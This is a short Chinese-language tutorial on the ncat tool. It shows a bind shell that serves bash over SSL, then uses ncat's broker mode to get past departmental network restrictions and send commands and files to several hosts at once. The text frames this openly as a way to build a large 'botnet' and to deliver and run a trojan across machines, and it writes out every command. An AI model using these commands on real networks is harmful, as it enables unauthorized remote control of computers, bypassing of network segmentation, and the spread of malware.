ncat的使用

由于netcat的缺陷,所以有了升级版ncat,弥补了netcat的一些不足。

ncat是nmap工具包的一个工具。

服务器端

ncat -c bash --allow 192.168.1.119 -vnl 333 --ssl

--allow 192.168.1.119只允许192.168.1.119这个IP进行连接。 -vnl 开放的端口是333 。--ssl 启用ssl加密。

客户端

ncat -nv 192.168.1.115 333 --ssl

其实ncat还有更强大的用法,可以越过受限的网络对其中的主机操作,

假设有这样一个场景:在一个公司,主机1作为公共的服务器,其他的主机都能与之建立连接,而主机2、3、4、5属于研发部,而主机6属于销售部,由于在不同的部门,主机6与主机2、3、4、5之间的连接是受限的。

ncat的使用

现在如果主机6想突破限制,对主机2、3、4、5建立连接,并进行一些操作,我们就可以使用ncat的boker功能

在主机1 ncat -l 333 --broker

ncat的使用

主机2、3、4、5通过333端口,用ncat连接到主机1 ,ncat 192.168.1.110 333

主机6也通过333端口,用ncat连接到主机1,ncat 192.168.1.110 333

这时,主机1就像一个hub一样将2、3、4、5、6连接起来,当在2、3、4、5、6的任何一台主机上发送指令时,其他的主机都会接收到,比如在主机6上输入"666666",主机2、3、4、5、6都会收到"666666"

不仅如此还可以传递文件和命令,甚至可以创建大规模的集控僵尸网络。

批量执行命令

在主机1 ncat -l 333 --broker

在主机2、3、4、5 用ncat连接到主机1 ,ncat 192.168.1.110 333

在主机6 ncat 192.168.1.110 333 --sh-exec "echo pwd"

就相当于在主机2、3、4、5上执行了pwd指令

在主机6 ncat 192.168.1.110 333 --sh-exec "echo mkdir a"

就相当于在主机2、3、4、5上创建了一个文件夹a

批量传文件

在主机1 ncat -l 333 --broker

在主机2、3、4、5 用ncat连接到主机1 ,ncat 192.168.1.110 333

在主机6 ncat --send-only 192.168.1.110 333 < 文件名

在主机2、3、4、5 就接收到了这个文件

这个文件可以是一个木马,然后批量执行这个木马,就达到了集群控制的效果